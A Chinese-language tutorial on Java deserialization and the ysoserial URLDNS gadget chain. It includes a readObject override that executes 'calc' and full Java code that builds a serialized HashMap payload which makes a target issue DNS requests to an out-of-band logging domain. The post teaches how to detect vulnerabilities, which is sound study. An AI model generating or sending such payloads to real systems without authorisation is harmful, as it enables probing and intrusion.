原创 | java安全-java反序列化之URLDNS
ysoserial
。
反序列化漏洞在各个语⾔⾥本不是⼀个新鲜的名词,但2015年Gabriel Lawrence (@gebl)和ChrisFrohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚Java安全的蓝海。
⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。-- 来自<<java安全漫谈>>
在ysoserial
中有一个gatget叫做URLDNS,这条链不依赖于任何组件,可以方便的探测是否存在Java反序列化漏洞。
它有以下几个特点:
URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
这篇文章就从URLDNS来展开说说java反序列化和这条链执行的过程。
序列化:就是将对象转化成字节序列的过程。
反序列化:就是讲字节序列转化成对象的过程。
Serializable
接口或者
Externalizable
接口
类
ObjectInputStream
和
ObjectOutputStream
是高层次的数据流,它们包含反序列化和序列化对象的方法
。
ObjectOutputStrea
m 类包含很多写方法来写各种数据类型,但是一个特别的方法例外:
public final void writeObject(Object x) throws IOException
上面的方法序列化一个对象,并将它发送到输出流。相似的 ObjectInputStream
类包含如下反序列化一个对象的方法:
public final Object readObject() throws IOException, ClassNotFoundException
readObject
方法里面定义的内容。
readObject
方法是可以被重写的,当重写的readObject
方法中包含了如代码执行等可控点,就可以执行反序列化攻击了,但是有谁会这么傻呢,将危险并且可控的函数写在readObject
方法里。所以需要不断在代码(组件)中去寻找可以“影响”到readObject
方法里面的某个函数,进而通过链式调用达到命令执行或其它操作的目的。
-
一个对象要进行序列化,如果该对象成员变量是引用类型的,那这个引用类型也一定要是可序列化的,否则会报错 -
同一个对象多次序列化成字节序列,这多个字节序列反序列化成的对象还是一个(使用==判断为true)(因为所有序列化保存的对象都会生成一个序列化编号,当再次序列化时回去检查此对象是否已经序列化了,如果是,那序列化只会输出上个序列化的编号) -
如果序列化一个可变对象,序列化之后,修改对象属性值,再次序列化,只会保存上次序列化的编号(这是个坑注意下) -
对于不想序列化的字段可以再字段类型之前加上transient关键字修饰(反序列化时会被赋予默认值)
serialVersionUID
写入到字节序列中(也会写入序列化的文件中),在反序列化时会将字节流中的
serialVersionUID
同本地对象中的
serialVersionUID
进行对比,一致的话进行反序列化,不一致则失败报错(报InvalidCastException异常)。
serialVersionUID
的生成有三种方式
(private static final long serialVersionUID= XXXL )
:
-
显式声明:默认的1L -
显式声明:根据包名、类名、继承关系、非私有的方法和属性以及参数、返回值等诸多因素计算出的64位的hash值 -
隐式声明:未显式的声明serialVersionUID时java序列化机制会根据Class自动生成一个serialVersionUID(最好不要这样,因为如果Class发生变化,自动生成的serialVersionUID可能会随之发生变化,导致匹配不上)
举个例子
package code;
import java.io.Serializable;
public class Student implements Serializable {
private int age;
private String name;
public Student() {
age = 20;
name = "张三";
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"age=" + age +
", name='" + name + ''' +
'
}
';
}
}
把学生类进行序列化:
package code;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeDemo {
public static void main(String[] args) throws IOException {
Student student = new Student();
FileOutputStream fileOutputStream = new FileOutputStream("student.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(student);
objectOutputStream.close();
fileOutputStream.close();
System.out.println("序列化数据写入成功!");
}
}
看下序列化后的文件内容:
可以看到前两个字节为AC
ED
,这也是java序列化数据的一个明显标志。
把学生类进行反序列化:
package code;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerializeDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("student.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object o = objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
System.out.println(o);
}
}
把学生类的readObject
方法进行重写:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
然后执行反序列化时就会触发命令执行函数
这个例子说明反序列化漏洞的触发点就在readObject
这个函数上,接下来分析的URLDNS链也会从readObject
上开始。
所以我们总结下可能造成反序列化漏洞的条件:
入口类的
readObject
函数直接调用危险方法。入口类的参数包含可控类,该类有危险方法并且
readObject
函数会调用它。入口类的参数包含可控类,该类又调用其它有危险方法的类并且
readObject
函数会调用它。
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable
HashMap类中也重写了readObject
方法:
这里也留意下其中调用了putVal
函数和hash
函数
回到URLDNS这边,这条链的调用关系是这样的:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
在分析时需要从后往前,先看下URL
这个类,它其中有一个hashcode方法,我们先调用这个方法看下效果:
package com.test;
import java.net.MalformedURLException;
import java.net.URL;
public class UrlTest {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://pbyd.fuzz.red");
int i = url.hashCode();
}
}
handler.hashCode
.
handler.hashCode
中,发现其调用了
getHostAddress
函数
getHostAddress
函数的作用就是解析域名,在解析域名时就会触发DNS请求。
hashCode
了,我们需要寻找哪个类的
readObject
方法中调用了
hashCode
或者间接调用了
hashCode
函数,前面以及分析过了,在HashMap类中的
readObject
方法调用了
putVal
函数和
hash
函数,跟到
hash
函数中发现其调用了
hashCode
函数。
package code;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hashmap = new HashMap();
URL url = new URL("http://6ixtjn.ceye.io");
hashmap.put(url, 1);
try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
hashCode
函数:
hashCode
的值为-1时才会进入到
handler.hashCode
函数中执行请求。
关于反射的问题,可以去看下我之前发的这篇文章: java安全-java反射
package code;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hashmap = new HashMap();
URL url = new URL("http://6ixtjn.ceye.io");
//反射获取url Class
Class<? extends URL> urlClass = url.getClass();
//获取hashCode字段
Field field = urlClass.getDeclaredField("hashCode");
//由于hashCode是私有属性,所以需要绕过权限控制检查
field.setAccessible(true);
//设置hashCode的值为1,让其在put的时候不去进行DNS请求
field.set(url,1);
hashmap.put(url, 1);
//put后再把hashCode的值改为-1,让其能够在反序列化时进行DNS请求
field.set(url,-1);
try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
注意看代码中的注释即可。
然后在反序列化,即可触发DNS请求。
package code;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnSerializeDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("urldns.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object o = objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
}
}
支持整个URLDNS链就分析完了,这条链相对来说是比较简单的,但也有许多需要注意的点,ysoserial中其它链的分析思路也是这样的。
不得不说ysoserial整个工具中的gadget非常巧妙且有深度,对java反序列化的学习还需继续加油啊!
参考文章:
URLDNS链&CommonsCollections链详细分析(https://www.anquanke.com/post/id/261724)
Java Map集合详解
(http://c.biancheng.net/view/6868.html)